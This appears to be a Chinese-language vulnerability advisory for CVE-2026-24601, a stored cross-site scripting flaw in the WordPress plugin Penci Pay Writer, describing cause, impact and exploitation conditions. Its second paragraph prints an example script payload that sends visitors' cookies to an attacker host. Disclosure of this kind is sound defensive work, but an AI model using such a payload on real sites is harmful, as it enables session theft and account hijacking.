CVE-2026-24601CVE-2026-24601是WordPress插件Penci Pay Writer中的一个存储型跨站脚本(XSS)漏洞。该漏洞由于插件在Web页面生成过程中未对用户输入进行适当过滤和转义,导致恶意JavaScript代码可以被存储在服务器端,并在其他用户访问相关页面时执行。攻击者可以利用此漏洞窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或在受害者浏览器中执行任意JavaScript代码。由于该漏洞为存储型XSS,恶意脚本会永久保存在数据库中,影响所有访问受影响页面的用户。CVSS评分6.5,属于中危漏洞,需要低权限用户配合用户交互才能利用。
该漏洞存在于Penci Pay Writer插件的输入处理和输出显示流程中。插件在接收用户输入(如文章内容、表单字段等)时,未能对特殊字符进行充分的HTML实体编码或输出转义。当这些未经过滤的数据被存储到数据库后,在后续页面渲染时会被直接嵌入到HTML响应中,浏览器将其作为可执行脚本处理。攻击者只需在输入字段中插入恶意JavaScript代码,如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>,该代码便会随页面加载自动执行。由于是存储型XSS,攻击者只需一次注入即可持续影响所有访问该内容的用户,危害范围更广。攻击者通常需要先在目标网站注册账户(低权限要求),然后在支持富文本编辑的字段中注入Payload。